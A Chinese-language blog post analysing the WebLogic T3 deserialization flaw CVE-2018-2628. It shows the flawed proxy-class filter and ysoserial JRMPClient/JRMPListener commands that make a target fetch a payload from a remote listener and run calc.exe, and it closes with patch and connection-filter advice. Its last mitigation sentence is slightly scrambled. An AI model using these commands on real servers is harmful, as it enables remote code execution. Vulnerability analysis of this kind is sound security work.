Java反序列化漏洞CVE-2018-2628 分析

一、 前言

認識Java序列化與反序列化
定義:

序列化就是把對象的狀態信息轉換爲字節序列(即可以存儲或傳輸的形式)過程
  反序列化即逆過程,由字節流還原成對象
  注: 字節序是指多字節數據在計算機內存中存儲或者網絡傳輸時各字節的存儲順序。
且看接下來怎麼一步步揭開反序列化漏洞利用的面紗的。(小白文)

二、CVE-2018-2628反序列化漏洞詳情分析

在分析這個漏洞的時候,中間也看了好多前輩們寫的有關Java反序列化漏洞分析的或詳細或簡略或比價有深度的文章。自己也琢磨了,雖然還沒有動手寫漏洞利用腳本,但是基本已經瞭解了反序列化漏洞從發現到利用的整個過程。其中也看了ysoserial-master通用利用工具的源碼來加深理解。

(1) 反序列化漏洞利用方法

1.1爲了更好的瞭解漏洞形成的原因,跟蹤了腳本抓包分析以及反編譯了源碼來解開對java反序列化漏洞的疑惑

這部分是參考自別人針對這個漏洞的分析:
 來看看InboundMsgAbbrev中resolveProxyClass的實現,resolveProxyClass是處理rmi接口類型的,只判斷了java.rmi.registry.Registry,其實隨便找 一個rmi接口即可繞過。


protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;


   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }


   return super.resolveProxyClass(interfaces);
}




其實核心部分就是JRMP(Java Remote Method protocol),在這個PoC中會序列化一個RemoteObjectInvocationHandler,它會利用UnicastRef建立到遠端的tcp連接獲取RMI registry,加載回來再利用readObject解析,從而造成反序列化遠程代碼執行。

這裏提供了主要漏洞出現位置,具體poc中payload構造方法、以及繞過接口限制。
1.2 數據包分析
在最開始不熟悉poc構造過程的時候,只看代碼看不懂payload構造的是什麼數據,就抓包進行了分析,在數據包中解析了大半部分的payload,之後就能理解整個漏洞的利用過程了。
1.2.1 構造t3協議包頭
在這裏插入圖片描述
1.2.2 請求目標服務器ip
在這裏插入圖片描述
1.2.3 連接遠程服務器接收序列化後payload
在這裏插入圖片描述
1.2.4 調用readObject反序列化payload,攻擊目標服務器

在這裏插入圖片描述

(3) 漏洞位置/補丁分析

3.1 補丁中的漏洞相關代碼

在這裏插入圖片描述

(4) poc測試/exp 構造

4.1 測試poc
4.1.1版本信息

在這裏插入圖片描述

4.1.2poc測試結果
經測試,必須先發送T3協議頭數據包,再發送JAVA序列化數據包,才能使weblogic進行JAVA反序列化,進而觸發漏洞。如果只發送JAVA序列化數據包,不先發送T3協議頭數據包,無法觸發漏洞。
在這裏插入圖片描述

4.2 構造exp
本地利用 ysoserial.exploit.JRMPListener構造了一個彈計算器的序列化payload,目標服務器加載回來解析,因爲只是過濾了‘java.rmi.registry.Registry’這個接口的序列化數據,所以會調用readobject進行解析。就造成了遠程代碼執行。
4.2.1.首先生成用來請求:生成序列化攻擊payload的服務器

java -jar ysoserial.jar JRMPClient xx.xx.xx.xx:xxxx >1
下圖是網上exp開的監聽端口。
在這裏插入圖片描述
4.2.2.替換payload
腳本這裏替換剛剛自己生成的payload
在這裏插入圖片描述
4.2.3.先啓動監聽,再執行腳本,
java -cp ysoserial.jar ysoserial.exploit.JRMPListener xxx CommonsCollections1 calc.exe
在這裏插入圖片描述
直接執行.py腳本即可

在這裏插入圖片描述

4.2.4.目標主機執行遠程命令:彈出計算器
在這裏插入圖片描述

4.3 exp核心部分
exp中都是序列化的流數據,核心部分就是RemoteObjectInvocationHandler,它會利用UnicastRef建立到遠端的tcp連接獲取RMI registry,加載回來再利用readObject解析,從而造成反序列化遠程代碼執行。

三、總結/修復建議

官方補丁
Oracle官方已經在4月18號的關鍵補丁更新中修復了此漏洞,受影響的用戶請儘快升級更新進行防護。
可使用正版軟件許可賬戶登錄 https://support.oracle.com,下載最新補丁。
手工修復
若要利用該漏洞, 攻擊者首先需要與WebLogic Server提供的T3服務端口建立SOCKET連接, 運維人員可通過控制T3協議的訪問權限來臨時阻斷漏洞利用。
WebLogic Server 提供了名叫“weblogic.security.net.ConnectionFilterImpl”的默認連接篩選器。該連接篩選器可控制所有傳入連接,通過修改此連問控制。接篩選器規則,可對T3及T3S協議進行訪

四、參考

https://mp.weixin.qq.com/s/nNTw3HMnkX63d9ybdx3USQ

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章